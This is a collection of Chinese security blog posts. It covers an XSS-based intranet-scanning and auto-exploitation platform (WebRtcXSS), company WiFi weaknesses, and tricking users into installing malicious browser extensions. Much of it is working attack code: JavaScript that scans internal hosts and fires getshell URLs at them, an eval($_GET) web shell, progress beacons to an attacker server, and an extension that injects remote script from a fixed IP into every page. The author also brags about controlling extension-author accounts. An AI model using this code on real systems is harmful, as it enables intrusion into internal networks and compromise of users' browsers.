                    scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                    scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                    scriptTag.setAttribute("data-cmsinfo",key);
                    scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                    document.getElementsByTagName("body")[0].appendChild(scriptTag);
                }
            }
        }
    }
    ipAjax.open('POST', snedIteratesIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('iplist='+ip+'&onlystring='+onlyString);
}

为什么要在函数开始前写上 if 函数呢，因为在上一节中的闭包里存在一个 bug。就是当所有内网 IP 中都没有开放 80 端口且不存在站点的情况下，deathIpLIst.length 会为 254。而 survivalIpLIst.length 会为 0。那 deathIpLIst.length + survivalIpLIst.length == 254 的条件是为 true 的。为了避免此 bug 的发生，我们在 snedIteratesIpData 函数里加入

if(deathIpLIst.length == 254){
    return false;
}

当 deathIpLIst.length 等于 254 的时候，返回 false。不再向下执行。因为所有代码的构架就是 A 调用 B，C 调用 A，D 调用 C。当 C 返回 false 的时候，D 是不会执行的。从上面的代码可以看到，返回 false 后。下面的代码都不会运行的。现在我们来看下 ip = ip.join("-") 这条代码的意思，是当内网中存在两条（包括两条）以上的 IP 地址时，使用 join 函数，传给服务端。方便服务端的接受及查看。服务端的反馈就像下面这样:

面来说说 ajax 请求的代码:

ipAjax = new XMLHttpRequest();
ipAjax.onreadystatechange = function(){
    if(ipAjax.readyState == 4 && ipAjax.status == 200){
        var cmsPath = JSON.parse(ipAjax.responseText).path;
        for(var key in cmsPath){
            for(var i = 0;i < survivalIpLIst.length;i++){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                scriptTag.setAttribute("data-cmsinfo",key);
                scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            }
        }
    }
}
ipAjax.open('POST', snedIteratesIpUrl, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('iplist='+ip+'&onlystring='+onlyString);

发送内网中开放 80 端口且具有站点的 ip 地址，并同时发送唯一标识符。用于服务端验证。服务端接受后，发送 json 数据，服务端代码如下:

$this->ajaxReturn(array(
    "typeMsg" => "success",
    "path"    => $pathInfo,
));

然后使用 if(ipAjax.readyState == 4 && ipAjax.status == 200) 来判断是否发送成功，成功后，把 json 里的 path 数据赋值 cmsPath 变量。用于后面的代码调用。首先进入 for 循环，cmsPath[‘key’]为当前的 cms 路径。然后再来套一个 for 循环，survivalIpLIst[i]为当前循环的 IP 地址。接下来就是建立一个 script 标签的 DOM 元素，其中的 data-ipadder、data-cmsinfo 是为了让后面的代码方便调用。onload = " javascript:vulnerabilityIpList(this)" 是当这个地址存在的时候，调用的一个函数，下一节会说到。现在先让我们看看数据库在的 cmsPath 是什么样的把:

默认就这 4 个，更多的路径可以自行加入。为了方便测试，我在我家中的另一台电脑上部署了代码，只有 index.php、/static/bbcode.js、vul/heihei.php、favicon.ico 这几个文件。而在 heihei.php 文件里代码如下:

<?php
   eval($_GET['a']);

为什么是这个呢，很简单。我手里面没有 Discuz 的 getshell 漏洞。为了徒省事。就这样把。而 favicon.ico 文件我也很随意的使用了 dedecms 的 favicon.ico。后面测试的时候，还望不要见怪。现在我们来运行下代码看下会发生什么事情吧:

我在/static/bbcode.js 文件里写入的是 console.log(1) 所有会在控制台反馈 1。这只是测试的代码，真实的环境是不会这样的。现在我们来看下 DOM 元素有些改变把:

已经调用了，程序检测到只有 http://192.168.1.103/static/js/bbcode.js 符合。那么一旦成功调用 js 文件，就会执行 onlod 里的 vulnerabilityIpList(this) 代码。而 vulnerabilityIpList 函数代码就在下一节。

0x06 检测内网主机中的漏洞是否真实存在（上篇）: {#verify-vuln-part-1}

下面就是 vulnerabilityIpList 函数的代码:

function vulnerabilityIpList(info){
    stage(3)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var vulCmsInfo = ipAjax.responseText;
            var img = document.createElement("img");
            img.setAttribute("scr",vulCmsInfo);
            img.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(img);
            setTimeout(function(){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
                scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
                scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
                scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            },2000);
        }
    }
    ipAjax.open('POST', snedIteratesCmsIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('existenceCmsIp='+ info.getAttribute("data-ipadder") + '&existenceCmsInfo=' + info.getAttribute("data-cmsinfo") + '&onlystring=' + onlyString);
}

其中 info 参数是成功调用的 script 标签的 DOM 元素对象。首先让我们看下发送 url 的请求:

existenceCmsIp 参数是检测到 cms 类型的 IP 地址
existenceCmsInfo 参数是检测到 cms 类型
onlystring 参数是唯一标识符，用于服务器判断属于哪一个项目。

接下来让我们看下 onreadystatechange 里面的内容:

var vulCmsInfo = ipAjax.responseText;
var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);
setTimeout(function(){
    var scriptTag = document.createElement("script");
    scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
    scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
    scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
    scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
    document.getElementsByTagName("body")[0].appendChild(scriptTag);
},2000);

首先就是 var vulCmsInfo = ipAjax.responseText;，把服务器返回的字符串赋值给 vulCmsInfo 变量。服务端的代码是:

/*
* 把客户端检测到存在 CMS 的 IP 加入到数据库中
*/
if(I('post.existenceCmsIp')  == "" || I('post.existenceCmsInfo') == "" || I('post.onlystring') == ""){
    $this->ajaxReturn(array(
        "typeMsg" => "error",
    ));
}
$existenceCmsIp               = I('post.existenceCmsIp');
$existenceCmsInfo             = I('post.existenceCmsInfo');
$onlyString                   = I('post.onlystring');
$existencecmsip               = M('existencecmsip');
$existenceData['inner_ip']    = $existenceCmsIp;
$existenceData['cms']         = $existenceCmsInfo;
$existenceData['onlystring'] = $onlyString;
$existenceData['create_time'] = date('Y-m-d H:i:s');
$existencecmsip->data($existenceData)->add();
/*
* 获取数据库中的 cms 漏洞详情，发送给客户端
*/
$cmsvul  = M('cmsvul');
$vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo"));
echo "http://".$existenceCmsIp.$vulInfo;从代码中可以看到服务端返回的不是json数据，而是字符串，这个字符串是拼接好的url。这个url就是从获取到的IP地址加上服务器中调用属于cms漏洞的path路径。

然后使用 img 标签来发送 get 请求，用于触发此 getshell 漏洞。代码也就是:

var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);

至于为什么要使用 setTimeout 函数来延迟 2 秒钟执行，是因为之前也说过浏览器是无法同时判断那么多的 img 请求。因为这里只有一个所以我使用了 2 秒，真实情况下可以改为 20 秒。然后建立一个 script 标签，用于判断 1.js 是否生成成功，如果生成成功，就说明漏洞存在，交给下一个函数处理，如果不存在，就此打住。因为 onload 不会调用 vulConfirm 函数。至于为什么要判断 1.js 文件，就是我之前所说的 getshell 生成的代码。在数据中是这样的:

是一段 base64 密文，解开后，内容如下: /vul/heihei.php?a=system('echo 1 >> ../1.js'); 而在后端发送给前端的时候，我已经解密了。如同上面代码中: $vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo")); 而在浏览器中代码是这样:

接下来就是 setTimeout 函数的真正的用处了。请注意这段代码: scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js"); 在 script 中把 src 的赋值成检测目标站点是否存在 1.js。如果存在就运行 onload 里的 vulConfirm 函数。而 vulConfirm 函数就在下一节。

0x07 检测内网主机中的漏洞是否真实存在（下篇）: {#verify-vuln-part-2}

vulConfirm 函数的内容很简单，只有给服务端发送的代码。

function vulConfirm(cmsConfirmInfo){
    stage(4)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendExistenceVul, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('cms='+ cmsConfirmInfo.getAttribute("data-cmsinfo") + '&vulip='+ cmsConfirmInfo.getAttribute("data-vulip") +'&onlystring=' + onlyString);
}

cms 参数是存在漏洞的 CMS 信息
vulip 是存在漏洞的 IP 地址
onlystring 是唯一标识符，用于服务端判断

0x08 stage 的作用: {#stage}

stage 函数代码如下:

function stage(num){
    var updataStage = document.createElement("img");
    updataStage.setAttribute("src","http://webrtcxss.cn/Api/stage/onlystring/"+onlyString+"/updata/"+num);
    updataStage.setAttribute("style","display:none;");
    document.getElementsByTagName("body")[0].appendChild(updataStage);
}

就是一个 img 标签，发送 get 请求到服务端，告诉服务端代码运行到哪里了。在平台中的反馈如图:

0x09 API 后端代码: {#api-backend}

后端使用了 thinkphp 框架。如果你想修改服务端接受的方式的话。请在/Application/Home/Controller 目录下修改 ApiController.class.php 文件，就行了。里面的内容分为 survivalIp、survivalPortIp、_empty、survivalCmsIp、existenceVul、stage 模块。可根据 JavaScript 中的代码来做出相应的修改。如图:

0x10 平台专属的 API: {#platform-api}

平台的 api 在 /Application/Home/Controller 目录下的 RootApiController.class.php 文件里。建立项目、删除项目、查询项目都在里面。如果你想修改 JavaScript 代码，就在建立项目中修改，如图:

修改起来很简单。平台运行起来如下图:

0x11 数据库的结构: {#database}

一共具有 7 个表，如下:

webrtc_cmspath 用于存放检测 cms 类型的 JavaScript 路径
webrtc_cmsvul用于存放cms 的 getshell 漏洞详情
webrtc_existencecmsip 用于存放内网中哪些 IP 具有 cms
webrtc_existencevul 用于存放内网中哪些 IP 具有的 CMS 有漏洞
webrtc_ipdatalist 用于存放内网中所有开放 80 端口切具有站点的 ip 列表
webrtc_project 用于存放项目信息
webrtc_survivaliplist 用于存放当前主机的内网 ip

0x12 特殊的玩法: {#attack-vectors}

之前在 freebuf 说过了，地址是: http://www.freebuf.com/articles/web/61268.html 因为 nginx 或者 apache 有些管理员会使用日志看实时查看网站的流量，由于 log 日志看起来太丑，于是就有人想出 web 端实时的反馈网站流量。但是在记录 user-agent 等数据包格式的时候，没有做好过滤。从而导致攻击者修改自己的 user-agent 为 XSS 攻击字符串，再进行浏览网站的操作，网站管理员在查看的时候就会触发 XSS，如果配合本章所讲的内容。就像下雨天吃着巧克力一样完美。其实并不一定非要是 nginx 或者 apache，有些网站的后台写的程序中会使用后端语言而非 nginx 这种配置生成文件，他们会直接记录下你们的 IP、user-agent。从而在后台方便查看。这个时候我们本章所说的内容就会排上用场。关于插件安全的话，请大家看下面这张图:

我控制了十多个 maxthon 插件作者的账户，现在具有 30w 的插件用户，而我可以随时随地的更改其中的代码，而我问了一下 maxthon 插件的官方人员，答复是:

即使你没有相关的插件作者用户。可以使用组简单的 html+swf 来写一个插件小游戏，一个星期就可以上千。这里我打个比方，10w 用户都安装了我的插件。其中 5w 是已经工作的用户。2w 是在公司电脑上使用 maxthon 并安装了插件，一旦打开 maxthon 浏览器，插件就会自动运行。而当插件发现有新版本时，会自动静默安装。然后就会运行我们的 JavaScript 代码，而我在 0x03 节的地方说到 maxthon 也是支持 WebRTC 的，但是这里会有坑。我不清楚是不是由版本引起的问题，在 chrome 下运行 WebRTC 代码时会显示一组 IP，也是当前电脑的内网 IP，而在 maxthon 下，会出现三组，可能不止三组。如图:

其中 192.168.27.1 是我电脑上的 VM 虚拟机的 IP 段。192.168.118.1 也是 VM 虚拟机上的 ip 段。只有 192.168.1.104 才是当前真正的内网 IP。所以在源程序里会出现 join 函数和对 ipList 变量的 for 循环。

0x13 失败的思路: {#failed-ideas}

思路一、

假设这里获取到的内网 IP 为 192.168.21.104。根据 for 循环输出 img、script 标签可以获取到内网的所以存活 IP 地址（也可以探测 port），但是这里有一个问题，就是 JavaScript 里怎么获取到其他内网的资源信息，因为跨域，ajax、iframe 都不行。我昨天晚上问了 0xJin，他是没有获取，只是扫的存活 IP 及端口。但是说好是内网漫游，不能只获取到当前触发 XSS 的 Pc。昨天晚上查了一夜的资料，有个思路，但是不知道能不能实现。这里说明一下，如果有什么好的建议可以提出来。当然思路可能错误。

前面的跳过，假设现在已经有了内网中开放 80 端口的 IP。既然 ajax、iframe 都不行，那我们可以尝试一下 flash 来获取，但是 flash 也有相应的 crossdomain.xml 限制，但是今天上午查资料的时候找到了这么一篇文章: http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data 根据作者所说，这个方法只能获取到视觉对象（图片、swf），也就是说无法获取存活 IP 里的 html 源码了。

我想是否可以使用 flash 发送一个带有 XSS 的 URL（内网 IP） XSS 里调用 Html2canvas 插件来把存活 IP 中的网站截图发送给我们的服务器端。当然了，这里有一个限制条件，就是必须获取存活 IP 中网站的 cms 信息（可以使用 <img src="内网IP/favicon.ico"> 再把图片发送给远程服务器，来接受。这样就可以判断属于哪个 cms 类型的了，构架代码的时候可以加一个定时获取远程服务器的 JavaScript 代码，这样我们看到是 cms 类型后，就可以在网上找相应的爆版本信息的方法，写成代码，等待客服端的定时任务获取到）。

现在信息有了，还有一个条件，就是 XSS 漏洞，需要 XSS 漏洞来加载 Html2canvas 插件，并且保存成图片发送给远程的服务器。

问题来了，反射 XSS 并不是正真的打开网站，而是发送 get 请求。那 canvas 并不会加载，也就说图片获取失败。储蓄型的话可能成功。

失败的原因:

canvas 无法获取到 iframe 里的 DOM 内容
img 无法发送到远程服务器，因为调用 img 图片的时候，当前页面和 img 的图片不是同源的，无法发送
隐蔽性很差

思路二、

之前我提到的思路是使用 xss+iframe+canvas，但是@超威蓝猫说到 canvas 无法截取到 iframe 里的内容，后来我上网查后，确实如此（基础不牢的结果）。后来我又有了一个新的思路，使用 <img src="https://xxx.xxx.xxx.xxx/favico.ico" /> 来获取网站的 cms 信息，因为不同的 cms 他们的 ico 图标也是不一样的，把 img 发送到服务器端后，就可以识别网站属于哪种 cms 类型了。但是后来和伟哥 @呆子不开口讨论了几个小时，发现忽略了一个重要的问题，怎么把 img 发送到远程服务器，img 图片地址不是同源的，而且怎么把图片使用 JavaScript 转成二进制数据。这个思路又断了。伟哥提到一个很 nice 的解决方案，检测 js 脚本，也就是 <script src="http://xxx.xxx.xxx.xxx/path/cms.js" onload="xxx(this)"></script> 这样的话，我就需要大量 cms 独立的 js 文件位置。工作量大。我本来都打算使用这个了，但是前几天闲的无聊翻自己的 QQ 日志时，发现了一段代码:

document.addEventListener("visibilitychange", function() {
    document.title = document.hidden ? 'iloveyou' : 'metoo';
});

这是 HTML5 推出的 API，我发现我可以利用这个 API 来达到神不知鬼不觉的上传图片。首先当用户切换到其他浏览器标签的时候，document.hidden 会为 true。那么我们就可以确定用户没有访问我们 XSS 的网页。那么我们干什么用户都不会发现了。大致的思路如下:

document.addEventListener("visibilitychange", function() {
    if(document.hidden){
        var htmlText = $("body").html();
        $("body").empty();
        $("body").append("<img src='http://xxx.xxx.xxx.xxx/favico.ico' />");
        //canvas 获取页面，请移步: http://leobluewing.iteye.com/blog/2020145
    }else{
        $("body").empty();
        $("body").append(htmlText);
    }
});

失败的原因:

因为之前提到过 img 加载太消耗时间，尤其在 maxthon 浏览器下，三组以上的 IP 地址全部检测完成需要 30 分钟左右。如果用此方法的话，需要确保用户在半个小时内不能打开此页面
canvas 无法获得不是本源的图片，也就是说不能获取到 img 加载的图片

总结后，就采用了伟哥的方法。

0x14 结尾: {#conclusion}

在此尤其感谢，@呆子不开口。这篇文章写的很累，因为 img 标签发送的耗时长的问题，导致每一次修改 BUG 的时候，都需要等 9-10 分钟。也是我目前为止写的时间最长的一篇文章。因为要学驾照，时间更少了。大概花了一个月左右的时间。之前和主编约稿的日期是 15 日，一直拖到现在，挺对不住的。前端、后端、数据库还有些的 BUG 没有修复，如果此平台的安装量达到 1000 会继续更新，下面是平台下载的 url: https://github.com/BlackHole1/WebRtcXSS

公司 wifi 安全

bh@bugs.cc (Kevin Cui) — Tue, 13 Dec 2016 03:00:48 GMT

0x0 前言: {#intro}

很多的公司都没有安全团队，只有运维来负责整个公司的安全，从而安全问题也大打折扣。我最近一直在给各个公司做安全检测，就把自己的心得写下来，有什么不足之处还望补充。

0x1 无线安全: {#wireless-security}

很多的公司都有不怎么注重公司的无线电安全，有钱的公司买设备，没钱的公司搞人力。但是人的技术在好，没有设备的辅助，单纯的人力在厉害也没什么用。

很多的公司 WIFI 认证基本都是 WPA/WPA2 然后加个 WEB 二次认证，认为这样就万无一失了，而其实这并没有什么用。破解 WPA，可以使用 aircrack-ng、airmon-ng、airodump-ng、aireplay-ng 来实现破解，WPA2 使用字典穷举。

当然也可以使用大菠萝伪造一个 WIFI。而大家也都知道有一款神器叫做“wifi 万能钥匙”，可以先去看看 wifi 万能钥匙能不能解，不能解的话再破。连上 WIFI 后，将会提示你需要进行 WEB 二次认证。这里你完全可以弃之不理，因为它并没有什么用。

因为你是 WPA/WPA2 的认证方式，你连上 WIFI 之后，交换机就会马上分配给你一个内网 IP（我遇到的是交换机，也可能是路由器）一个黑客要你外网干什么，他需要的是公司的内网资源。

连不上网对黑客来说没有什么问题。我给某公司做安全检测的时候，万能钥匙破解—中间人嗅探。不到两分钟拿到了他们公司官网后台管理员的权限。

WEB 认证在我看来不是针对于黑客的，是针对于员工的，因为黑客不需要外网资源，但是员工需要。下面是我画的图:

思维导图 URL

黑客连入 WIFI 后，虽然 WEB 二次认证不了，但是黑客现在已经处于内网中，他可以访问内网的任何资源。

修复建议:

把 WPA/WPA2 无线认证换成 802.1x 认证方式（802.1x 无线认证方式需要交换机的支持）
买针对无线检测/防御设备
无线不能访问内网资源，只有有线可以访问内网资源（从物理上隔绝问题）

关于 802.1x 认证方式，他的原理图是下面这样的:

思维导图 URL

黑客即使连上公司 WIFI，但是无法通过 802.1x 认证，导致

公司设备（路由器、交换机）无法分配给你内网 IP 和外网出口 IP 的资格。

0x2 较为深入无线安全: {#wireless-advanced}

像上面所讲，只是针对公司开放的 WIFI 进行管理。

而上面的三个解决方案，只有第一个相比之下是比较方便还不用花钱的（机房设备需要支持 802.1x 无线协议，不支持还是要花钱）。

第二个，公司如果不想花钱是不会选择的，而且买了还要配置，前期工作量特别大。

第三个，工作量大，需要重新架构公司网络，我和一个同事在下午 6 点下班后一直忙到第二天上班之前才搞定。

如果公司不想花钱或者运维不想重新架构的话，第一种是很好的选择，但是这里又有一个问题，360/百度随身 WIFI，这个东西的存在，对那些本来就不怎么安全的公司更是雪上加霜。

360/百度随身 WIFI 插入公司电脑后，会开启 ICS 服务，加上自带的无线网卡 AP 功能。当你连上这个随身 WIFI 之后，相当于一个小型的局域网。这时我们可以先入侵那个插了随身 WIFI 的 PC 电脑，通过它来入侵整个公司。如果你只需要某个接口，则不需要入侵插了随身 WIFI 的 PC 电脑。这里假设下“我需要的是这个网站的后台，可是想要登陆这个网站后台，需要出口 IP 是这个公司的外网 IP”这样的话，我们则不需要入侵插了随身 WIFI 的 PC 电脑来。为什么呢？我画了一个图，大家看下:

思维导图 URL

黑客连入 WIFI 后，无需进行 WEB 二次认证，因为它使用的是员工的网络，员工也肯定认证过了，员工使用的是公司内网，内网有个统一的出口 IP，而服务器端也只认这个 IP，其他 IP 连不上服务器。

解决办法，网上很多，可以参考网上的教程。

如果你又更好的解决方案，可以提出来。我个人的思路有限。有不足之处，还望见谅。

浏览器插件的攻击向量

bh@bugs.cc (Kevin Cui) — Wed, 05 Oct 2016 12:35:52 GMT

0x0 前言: {#intro}

我在很多地方都有说“浏览器插件的攻击方法”，本篇文章就带大家深入的研究一下“由浏览器插件引发的攻击手法及攻击代码”。本篇文章说的内容，可以给大家打开一个新的攻击思路，做 APT 攻击的话也会有奇效。

0x1 让自己变成攻击者: {#become-attacker}

我之前在群里问了一下，发现很多人都只是听说过，虽然知道原理。但是没有进行实践并且小瞧了这个攻击方式。而且这个攻击手法的案例也是少的可怜。没有攻何来守，之前 chrome 有过类似的攻击手法，但是攻击代码所做的事比较少，于是本篇我们先成为攻击者，站在攻击者的角度来研究这个攻击手法。之前我在介绍这个攻击手法的时候都是在文章里开一个小节来说的。现在我专门来为这个攻击方法写篇文章，也希望让大家重视起来。

在大家的理解里，浏览器插件攻击就是在插件里植入 javascript 代码，做一些盗取 cookies 的事情，但是事情远没有那么简单。

大家都知道进行“浏览器插件攻击”就需要用户安装了你的插件。大家也都认为只有这一种方法，但是事实并非如此，下面是 4 种安装插件的方法:

在页面里欺骗用户，写上“如想浏览此页面，请去下载某某插件”

被动等待，类似: 姜太公钓鱼愿者上钩的感觉，插件就在那，你不安装总会有人安装

基于社工库控制插件作者的账户，加入后门代码，更新插件

控制插件里调用的第三方 javascript 代码

现在有四种方法供我们选择，我们一个个来进行介绍。

0x1.1 在页面里欺骗用户，写上“如想浏览此页面，请去下载某某插件” {#deceive-user}

这个方法类似于之前的问题强迫安装恶意 Chrome 扩展攻击者使用激进方式。这里我们也来实现一下并且优化下，此处使用的案例是“MaxThon 遨游浏览器插件”。

0x1.1.1 检测是否安装了某插件 {#detect-extension}

我们先把这个攻击方式的代码目录架构进行说明:

网站页面: index.html

插件目录:

icons/              插件的 logo 存放目录

icons/icons.svg     插件 logo 文件

def.json            插件的主控制文件，里面存着整个插件的配置
代码如下:
[
    {
        "type": "extension",
        "frameworkVersion": "1.0.0",
        "version": "1.0.0",
        "guid": "{7c321680-7673-484c-bcc4-de10f453cb8e}",
        "name": "plug_setup",
        "author": "Black-Hole",
        "svg_icon": "icon.svg",
        "title": {
            "zh-cn": "欺骗用户安装插件"
        },
        "description": {
            "zh-cn": "欺骗用户安装插件"
        },
        "main": "index.html",
        "actions": [
            {
                "type": "script",
                "entryPoints": [
                    "doc_onload"
                ],
                "js": [
                    "base.js"
                ],
        "include": ["*"],
        "includeFrames": true
             }
        ]
    }
]
base.js             每打开一个页面，要执行的 JavaScript 代码

我翻遍了整个遨游插件的 API 手册，没有找到类似 chrome Plug API 的:

chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    if(request.act == 'ping'){
        sendResponse({"act": "tong"});
    }
})
chrome.runtime.sendMessage("extensionId", {"act": "ping"}, function(response){
    if(response && response.act == 'tong'){
        console.log('已安装');
    }else{
        console.log('未安装');
    }
});

既然没有找到，我们就要想其他比较 Hack 的办法来解决这个问题。

这里我使用的办法是利用 JavaScript 全局及 setTimeout 函数来解决这个问题。

首先在插件里的 base.js 文件里写入:

var script = document.createElement('script');
script.src = "http://119.29.58.242/control.js";
document.body.appendChild(script);

上面，这段代码将会在每个页面里的 body 标签后面写入 <script src="http://119.29.58.242/control.js"></script> 代码，而在 http://119.29.58.242/control.js 文件里的代码为:

window.plug_setup = function(){

}

这时，用户打开任何一个网页，那个网页的全局函数中就会有一个名为 plug_setup 的函数，并且不具有任何作用，很容易让人忽略掉，只会在特殊的页面中才会起作用。

然后我们再在网站的页面里写:

setTimeout(function(){
    if(typeof(plug_setup)!="function"){
        alret("因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装xx插件后刷新此页面");
    }
},1000)

因为页面加载、网络等问题照成的延迟问题，这里我们设置为 1 秒后运行检测代码。1 秒后，将会运行

if(typeof(plug_setup)!="function"){
    alret("因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装xx插件后刷新此页面");
}

这个时候如果全局没有 plug_setup 函数，将会运行下面的 alert 函数，告诉用户需要安装插件才可以访问。

0x1.1.2 欺骗用户进行半自动安装指定插件 {#semi-auto-install}

我觉的如果让用户安装插件的话，你跳转到页面，让用户把插件的信息、评论看完再安装，岂不是成功率大大降低了，而且也不符合网站的优化。《点石成金》一书上说过这样一句话“不要让用户思考”，这个虽然是网站设计里面的至理名言，但是也同样可以放在攻击里，当一个用户的思考变得更少时，那么他会有很大程度上会跟着攻击者设计好的路走。

于是，我分析了遨游浏览器安装插件页面里的 JavaScript，发现遨游浏览器进行安装插件时调用 API 在任何页面都可以运行，会照成攻击者在页面写上一些 JavaScript 代码后，就会像遨游浏览器那样弹出一个框询问用户是否安装插件:

我这里进行一些优化，代码如下:

var ERRORTEXT = '非傲游浏览器或版本过低。<a href="http://www.maxthon.cn" target="_blank">点此获取最新版本傲游浏览器</a>'
function getInstallMessage(that, messagePack, type) {
    if (external.mxCall) {
        var packMxAttr = $(that).closest(messagePack);
        if (type === 'skin') {
            // 浏览器框架版本号
            var frameVersion = external.mxCall('GetSkinFxVersion');
        }
        else if (type === 'app') {
            // 浏览器框架版本号
            var frameVersion = external.mxCall('GetAppFxVersion');
            // 下个版本上了就删掉--
            if (frameVersion === '1.0.0') {
                frameVersion = '1.0.1';
            }
            // --下个版本上了就删掉
        }
        // 插件包框架版本号
        var packMxVersion = packMxAttr.attr('file_def');
        // 插件包 url
        var packUrl = packMxAttr.attr('file_url');
        // 插件 id
        var packId = packMxAttr.attr('file_id');
        installPack(frameVersion, packMxVersion, packUrl, type, packId);
    }
    else {
        resultPop.show('浏览器不符', ERRORTEXT, '确定');

    }
}
function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
    var isInstall = returnIsInstall(frameVersion, packMxVersion);
    if (isInstall !== -1) {
        if (type === 'skin') {
            external.mxCall('InstallSkin', packUrl);
        }
        else if (type === 'app') {
            external.mxCall('InstallApp', packUrl);
        }
        getUser(packId);
    }
    else {
        resultPop.show('浏览器不符', ERRORTEXT, '确定');
    }
}
function returnIsInstall(frameVersion, packMxVersion) {
    var fvItem;
    var pvItem;
    var frameVersion = getVersionArr(frameVersion);
    var packMxVersion = getVersionArr(packMxVersion);
    // 定义增长索引值.
    var i = 0;
    while (1) {
        fvItem = frameVersion[i];
        pvItem = packMxVersion[i];
        if (fvItem == null && pvItem == null) {
            return 0;
        }
        if (fvItem == null) {
            return -1;
        }
        if (pvItem == null) {
            return 1;
        }
        if (fvItem != pvItem) {
            var value = fvItem > pvItem ? 1 : -1
            return value;
        }
        i++;
    }
}
function getVersionArr(version) {
    var versionArr = version.split('.');
    for (var i = 0; i < versionArr.length; i++) {
        versionArr[i] = parseInt(versionArr[i], 10);
    };
    return versionArr;
}
function getUser(id) {
    $.ajax({
        type: 'GET',
        url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
        data: 'data',
        dataType: 'json',
        success: function (data) {},
        error: function () {}
    });
}
$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

详情可以在 http://extension.maxthon.cn/js/temp.js 里第 1256 行到 1600 行查看原始代码。

此处的代码里的入口处就在

$(document).delegate('#app-install', 'click', function (event) {
    event.preventDefault();
    event.stopPropagation();
    getInstallMessage(this, 'a[file_def]', 'app');
});

当点击 id 为 app-install 的 DOM 时，会先调用 getInstallMessage 函数，getInstallMessage 函数里再调用 installPack 函数，installPack 函数调用 returnIsInstall 函数和 getUser 函数，returnIsInstall 函数调用了 getVersionArr 函数。

最核心的代码在 installPack 函数里的 external.mxCall('InstallApp', packUrl);，但是无法直接调用，不然无法安装。而且这里的 packUrl 必须是 http://extension.maxthon.cn 下的，不然无法安装，需要事先提交你的插件到遨游插件平台，才可以。

上面说到当点击 id 为 app-install 的 DOM 时才会触发，我这个人比较懒。就直接 copy 遨游插件的 html 代码了，顺便把他隐藏了: <a id="app-install" style="display:none;" file_def="1.0.1" file_url="http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon" file_id="<?echo $view_id;?>">安装</a>，这里的 file_id 为 <?echo $view_id;?> 估计是遨游的程序员没写好代码，PHP 没解析成功，解析成 html 代码了。但是我懒得改，就这样把。然后我再在他们的后面增加 $("#app-install").click(); 代码，让他自动触发

完整的网站代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>欺骗用户安装插件</title>
    <script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
</head>
<body>
    欺骗用户安装插件 demo1
    <a id="app-install" style="display: none;" file_def="1.0.1" file_url="http://extensiondl.maxthon.cn/skinpack/20062150/1462330643.mxaddon" file_id="<?echo $view_id;?>">安装</a>
</body>
<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
<script>
    setTimeout(function(){
        if(typeof(plug_setup)!="function"){
            alert("因网站升级，网站结合了浏览器插件给用户更好的使用体验，请安装 xx 插件后打开此页面");
            var ERRORTEXT = '非傲游浏览器或版本过低。<a href="http://www.maxthon.cn" target="_blank">点此获取最新版本傲游浏览器</a>'
            function getInstallMessage(that, messagePack, type) {
                if (external.mxCall) {
                    var packMxAttr = $(that).closest(messagePack);
                    if (type === 'skin') {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall('GetSkinFxVersion');
                    }
                    else if (type === 'app') {
                        // 浏览器框架版本号
                        var frameVersion = external.mxCall('GetAppFxVersion');
                        // 下个版本上了就删掉--
                        if (frameVersion === '1.0.0') {
                            frameVersion = '1.0.1';
                        }
                        // --下个版本上了就删掉
                    }
                    // 插件包框架版本号
                    var packMxVersion = packMxAttr.attr('file_def');
                    // 插件包 url
                    var packUrl = packMxAttr.attr('file_url');
                    // 插件 id
                    var packId = packMxAttr.attr('file_id');
